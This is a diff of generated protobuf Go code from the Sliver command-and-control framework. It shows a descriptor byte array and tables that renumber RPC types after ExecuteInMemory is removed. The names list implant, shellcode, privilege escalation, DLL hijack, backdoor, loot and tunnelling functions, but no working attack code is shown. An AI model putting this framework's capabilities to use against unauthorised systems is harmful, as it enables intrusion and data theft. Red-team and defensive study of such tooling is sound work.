0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07,
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12,
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a,
0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -632,96 +628,95 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.WGSocksStopReq)(nil), // 90: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 91: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 92: sliverpb.WGSocksServersReq
(*sliverpb.ExecuteInMemoryReq)(nil), // 93: sliverpb.ExecuteInMemoryReq
(*sliverpb.ShellReq)(nil), // 94: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 95: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 96: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 97: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 98: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 99: sliverpb.TunnelData
(*clientpb.Version)(nil), // 100: clientpb.Version
(*clientpb.Operators)(nil), // 101: clientpb.Operators
(*sliverpb.Reconfigure)(nil), // 102: sliverpb.Reconfigure
(*clientpb.Sessions)(nil), // 103: clientpb.Sessions
(*clientpb.Beacons)(nil), // 104: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 105: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 106: commonpb.Response
(*clientpb.Jobs)(nil), // 107: clientpb.Jobs
(*clientpb.KillJob)(nil), // 108: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 109: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 110: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 111: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 112: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 113: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 114: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 115: clientpb.AllHosts
(*clientpb.Generate)(nil), // 116: clientpb.Generate
(*clientpb.ExternalImplantConfig)(nil), // 117: clientpb.ExternalImplantConfig
(*clientpb.Builders)(nil), // 118: clientpb.Builders
(*clientpb.ImplantBuilds)(nil), // 119: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 120: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 121: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 122: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 123: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 124: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 125: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 126: clientpb.Compiler
(*clientpb.ShellcodeEncode)(nil), // 127: clientpb.ShellcodeEncode
(*clientpb.ShellcodeEncoderMap)(nil), // 128: clientpb.ShellcodeEncoderMap
(*clientpb.Websites)(nil), // 129: clientpb.Websites
(*sliverpb.Ps)(nil), // 130: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 131: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 132: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 133: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 134: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 135: sliverpb.Pwd
(*sliverpb.Mv)(nil), // 136: sliverpb.Mv
(*sliverpb.Rm)(nil), // 137: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 138: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 139: sliverpb.Download
(*sliverpb.Upload)(nil), // 140: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 141: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 142: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 143: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 144: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 145: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 146: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 147: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 148: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 149: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 150: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 151: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 152: sliverpb.Screenshot
(*sliverpb.CurrentTokenOwner)(nil), // 153: sliverpb.CurrentTokenOwner
(*sliverpb.PivotListener)(nil), // 154: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 155: sliverpb.PivotListeners
(*clientpb.PivotGraph)(nil), // 156: clientpb.PivotGraph
(*sliverpb.ServiceInfo)(nil), // 157: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 158: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 159: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 160: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 161: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 162: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 163: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 164: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 165: sliverpb.RegistryCreateKey
(*sliverpb.RegistryDeleteKey)(nil), // 166: sliverpb.RegistryDeleteKey
(*sliverpb.RegistrySubKeyList)(nil), // 167: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 168: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 169: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 170: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 171: sliverpb.GetPrivs
(*sliverpb.RportFwdListener)(nil), // 172: sliverpb.RportFwdListener
(*sliverpb.RportFwdListeners)(nil), // 173: sliverpb.RportFwdListeners
(*sliverpb.RegisterExtension)(nil), // 174: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 175: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 176: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 177: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 178: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 179: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 180: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 181: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 182: sliverpb.Portfwd
(*sliverpb.ShellReq)(nil), // 93: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 94: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 95: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 96: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 97: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 98: sliverpb.TunnelData
(*clientpb.Version)(nil), // 99: clientpb.Version
(*clientpb.Operators)(nil), // 100: clientpb.Operators
(*sliverpb.Reconfigure)(nil), // 101: sliverpb.Reconfigure
(*clientpb.Sessions)(nil), // 102: clientpb.Sessions
(*clientpb.Beacons)(nil), // 103: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 104: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 105: commonpb.Response
(*clientpb.Jobs)(nil), // 106: clientpb.Jobs
(*clientpb.KillJob)(nil), // 107: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 108: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 109: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 110: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 111: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 112: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 113: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 114: clientpb.AllHosts
(*clientpb.Generate)(nil), // 115: clientpb.Generate
(*clientpb.ExternalImplantConfig)(nil), // 116: clientpb.ExternalImplantConfig
(*clientpb.Builders)(nil), // 117: clientpb.Builders
(*clientpb.ImplantBuilds)(nil), // 118: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 119: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 120: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 121: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 122: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 123: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 124: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 125: clientpb.Compiler
(*clientpb.ShellcodeEncode)(nil), // 126: clientpb.ShellcodeEncode
(*clientpb.ShellcodeEncoderMap)(nil), // 127: clientpb.ShellcodeEncoderMap
(*clientpb.Websites)(nil), // 128: clientpb.Websites
(*sliverpb.Ps)(nil), // 129: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 130: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 131: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 132: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 133: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 134: sliverpb.Pwd
(*sliverpb.Mv)(nil), // 135: sliverpb.Mv
(*sliverpb.Rm)(nil), // 136: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 137: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 138: sliverpb.Download
(*sliverpb.Upload)(nil), // 139: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 140: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 141: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 142: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 143: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 144: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 145: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 146: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 147: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 148: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 149: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 150: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 151: sliverpb.Screenshot
(*sliverpb.CurrentTokenOwner)(nil), // 152: sliverpb.CurrentTokenOwner
(*sliverpb.PivotListener)(nil), // 153: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 154: sliverpb.PivotListeners
(*clientpb.PivotGraph)(nil), // 155: clientpb.PivotGraph
(*sliverpb.ServiceInfo)(nil), // 156: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 157: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 158: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 159: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 160: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 161: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 162: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 163: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 164: sliverpb.RegistryCreateKey
(*sliverpb.RegistryDeleteKey)(nil), // 165: sliverpb.RegistryDeleteKey
(*sliverpb.RegistrySubKeyList)(nil), // 166: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 167: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 168: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 169: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 170: sliverpb.GetPrivs
(*sliverpb.RportFwdListener)(nil), // 171: sliverpb.RportFwdListener
(*sliverpb.RportFwdListeners)(nil), // 172: sliverpb.RportFwdListeners
(*sliverpb.RegisterExtension)(nil), // 173: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 174: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 175: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 176: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 177: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 178: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 179: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 180: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 181: sliverpb.Portfwd
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -848,152 +843,150 @@ var file_rpcpb_services_proto_depIdxs = []int32{
90, // 121: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
91, // 122: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
92, // 123: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
93, // 124: rpcpb.SliverRPC.ExecuteInMemory:input_type -> sliverpb.ExecuteInMemoryReq
94, // 125: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
95, // 126: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
96, // 127: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
96, // 128: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
97, // 129: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
98, // 130: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
98, // 131: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
99, // 132: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 133: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
100, // 134: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
101, // 135: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 136: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
102, // 137: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
0, // 138: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
103, // 139: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
104, // 140: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
4, // 141: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 142: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
105, // 143: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
5, // 144: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
5, // 145: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
106, // 146: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 147: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
107, // 148: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
108, // 149: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
109, // 150: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
110, // 151: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
111, // 152: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
112, // 153: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
112, // 154: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
113, // 155: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
113, // 156: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
12, // 157: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 158: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
12, // 159: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
12, // 160: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
114, // 161: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
114, // 162: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
115, // 163: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
13, // 164: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 165: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 166: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
116, // 167: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
117, // 168: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
0, // 169: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
117, // 170: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
20, // 171: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
0, // 172: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
118, // 173: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
116, // 174: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
119, // 175: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 176: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
120, // 177: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
121, // 178: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
122, // 179: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
123, // 180: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 181: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
23, // 182: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
124, // 183: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
125, // 184: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
126, // 185: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
127, // 186: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
128, // 187: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
129, // 188: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
27, // 189: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 190: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
27, // 191: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
27, // 192: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
27, // 193: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
30, // 194: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
130, // 195: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
131, // 196: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
132, // 197: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
133, // 198: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
134, // 199: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
135, // 200: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
135, // 201: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
136, // 202: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
137, // 203: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
138, // 204: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
139, // 205: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
140, // 206: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
141, // 207: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
142, // 208: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
143, // 209: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
144, // 210: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
145, // 211: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
146, // 212: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
146, // 213: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
146, // 214: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
147, // 215: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
148, // 216: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
149, // 217: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
149, // 218: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
150, // 219: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
151, // 220: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
152, // 221: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
153, // 222: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
154, // 223: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 224: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
155, // 225: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
156, // 226: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
157, // 227: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
157, // 228: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
157, // 229: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
158, // 230: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
159, // 231: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
160, // 232: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
161, // 233: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
162, // 234: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
163, // 235: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
164, // 236: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
165, // 237: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
166, // 238: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
167, // 239: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
168, // 240: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
169, // 241: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
170, // 242: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
171, // 243: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
172, // 244: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
173, // 245: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
172, // 246: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
82, // 247: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 248: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
174, // 249: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
175, // 250: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
176, // 251: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
177, // 252: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
177, // 253: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
178, // 254: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
178, // 255: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
179, // 256: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
